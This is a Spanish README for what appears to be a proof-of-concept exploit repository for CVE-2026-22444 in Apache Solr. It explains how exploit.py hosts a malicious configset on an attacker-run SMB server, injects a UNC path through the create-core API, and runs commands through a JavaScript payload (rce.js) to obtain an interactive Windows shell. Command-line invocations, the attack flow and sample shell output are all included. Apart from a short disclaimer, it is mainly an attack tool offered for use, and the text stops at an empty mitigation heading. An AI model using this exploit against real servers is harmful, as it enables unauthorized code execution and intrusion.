CVE-2026-22444

Vulnerabilidad de Validación de Rutas UNC en Apache Solr

Resumen

CVE-2026-22444 es una vulnerabilidad de seguridad que afecta a Apache Solr, divulgada públicamente alrededor del 20 de enero de 2026. La vulnerabilidad se origina por una validación insuficiente de entrada (CWE-20: Improper Input Validation) en ciertos parámetros de la API "create core" de Apache Solr, lo que permite a un atacante eludir las reglas de seguridad cuando Solr se ejecuta en modo "standalone", pudiendo provocar fuga de datos, ejecución remota de código (RCE) o divulgación de hashes NTLM.

Específicamente, si Solr no tiene habilitada la autenticación o el usuario tiene permisos para crear cores, un atacante puede abusar de esta API mediante solicitudes cuidadosamente construidas para acceder a archivos protegidos o ejecutar acciones maliciosas.

Información de divulgación

La vulnerabilidad fue descubierta y reportada a Apache en 2025, y divulgada públicamente en la lista de correo oss-security:

Anuncio oficial: https://www.openwall.com/lists/oss-security/2026/01/20/5

Detalles técnicos

La vulnerabilidad existe en CoreContainer.java, donde el constructor de CoreDescriptor desencadena operaciones de red antes de realizar la validación de rutas UNC:

• instancePath.toAbsolutePath() puede resolver rutas UNC a través de la red
• La comprobación Files.exists() realiza llamadas de red
• Files.newInputStream() ejecuta lecturas de red
• La validación de rutas mediante assertPathAllowed() solo ocurre después de estas operaciones

Cronología

• 2025-08-20: Vulnerabilidad descubierta y reportada a Apache
• 2026-01-20: Divulgación pública

Contenido del repositorio

• exploit.py - Script de explotación de prueba de concepto
• files/ - Archivos de soporte necesarios para la explotación (configset)
  • rce.js - Payload JavaScript de ejecución remota de código
  • conf/ - Archivos de configuración de Solr
    • solrconfig.xml - Define la cadena de procesadores de actualización maliciosa
    • schema.xml - Definición del schema de Solr
    • managed-schema - Archivo de schema gestionado
• requirements.txt - Dependencias de Python

Instrucciones de uso

Requisitos del entorno

• Python 3.6+
• El sistema objetivo debe ejecutar Apache Solr (sistema Windows, modo independiente)
• El Solr objetivo no tiene autenticación habilitada, o el atacante tiene permisos para crear cores

Instalación de dependencias

pip install -r requirements.txt

Las dependencias incluyen:

• requests>=2.25.0 - Para solicitudes HTTP
• impacket>=0.10.0 - Para crear el servidor SMB

Uso básico

1. Ataque básico (detección automática de IP local)

python3 exploit.py <IP_objetivo>

Ejemplo:

python3 exploit.py 192.168.1.100

2. Especificar el puerto de Solr

python3 exploit.py <IP_objetivo> --port <puerto>

Ejemplo:

python3 exploit.py 192.168.1.100 --port 8983

3. Especificar la configuración del servidor SMB

python3 exploit.py <IP_objetivo> --smb-host <IP_servidor_SMB> --smb-port <puerto_SMB>

Ejemplo:

python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445

4. Nombre de recurso compartido SMB personalizado

python3 exploit.py <IP_objetivo> --share-name <nombre_recurso>

Ejemplo:

python3 exploit.py 192.168.1.100 --share-name myshare

Descripción de argumentos de línea de comandos

Argumentos posicionales:
  target_host           Dirección IP del servidor Solr objetivo

Argumentos opcionales:
  -h, --help            Muestra el mensaje de ayuda y sale
  --port, -p PORT       Puerto del servidor Solr (predeterminado: 8983)
  --smb-host SMB_HOST   IP del servidor SMB (predeterminado: detección automática de IP local)
  --smb-port SMB_PORT   Puerto del servidor SMB (predeterminado: 445)
  --share-name SHARE    Nombre del recurso compartido SMB (predeterminado: malicious)

Flujo del ataque

1. Iniciar servidor SMB: El script inicia un servidor SMB local que comparte el directorio files
2. Crear Core malicioso: Envía una solicitud de creación de core al Solr objetivo, apuntando al configset malicioso en el servidor SMB
3. Activar el Payload: Solr descarga los archivos de configuración del servidor SMB, que contienen código JavaScript malicioso
4. Ejecutar comandos: Envía una solicitud de actualización para activar la ejecución del payload JavaScript
5. Shell interactivo: Tras una explotación exitosa, se accede a un entorno interactivo de ejecución de comandos

Uso del shell interactivo

Tras una explotación exitosa, el script proporciona un shell interactivo:

solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user

solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...

solr> exit
[*] exiting shell...

Comandos admitidos:

• Cualquier comando CMD de Windows
• exit o quit - Salir del shell interactivo
• Ctrl+C - Interrumpir y salir

Cómo funciona

La vulnerabilidad explota la siguiente cadena técnica:

1. Inyección de ruta UNC: Inyecta una ruta UNC a través del parámetro configSet (por ejemplo, //ip-atacante/recurso)
2. Servidor SMB: Aloja los archivos de configuración maliciosos de Solr
3. RCE mediante JavaScript: Utiliza StatelessScriptUpdateProcessorFactory de Solr para ejecutar código JavaScript
4. Ejecución de comandos: Ejecuta comandos arbitrarios en el sistema objetivo mediante la API de Java Runtime

Ejemplos de uso avanzado

Ejemplo con todos los parámetros

python3 exploit.py 192.168.35.31 \
  --port 8983 \
  --smb-host 192.168.35.50 \
  --smb-port 445 \
  --share-name exploit

Descripción de la estructura de archivos

CVE-2026-22444/
├── exploit.py              # Script principal de explotación
├── requirements.txt        # Dependencias de Python
├── files/                  # Configset malicioso
│   ├── rce.js             # Payload JavaScript de RCE
│   └── conf/              # Directorio de configuración de Solr
│       ├── solrconfig.xml # Configura el procesador de actualización malicioso
│       ├── schema.xml     # Definición del schema
│       └── managed-schema # Schema gestionado
└── README.md              # Este archivo

Descripción del payload

rce.js: Este es el payload principal de RCE, que:

• Intercepta las operaciones de actualización de Solr (add, delete, commit, rollback)
• Obtiene el parámetro cmd de los parámetros de la solicitud
• Ejecuta comandos mediante la API de Java Runtime
• Captura stdout y stderr
• Devuelve el resultado de la ejecución y el código de salida

solrconfig.xml: Configura Solr para usar la cadena de procesadores de actualización maliciosa:

• Define la cadena de procesadores de actualización rce-chain
• Hace referencia al script rce.js
• Configura el procesador de solicitudes /update para usar esta cadena

Advertencias

⚠️ Aviso: Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado de esta herramienta para atacar sistemas es ilegal.

• Asegúrese de obtener autorización escrita explícita antes de usarla
• Úsela únicamente en entornos de prueba o en entornos con autorización legal
• No la use en sistemas de producción, salvo en entornos controlados de pruebas de penetración
• El usuario es responsable de sus propias acciones

Recomendaciones de mitigación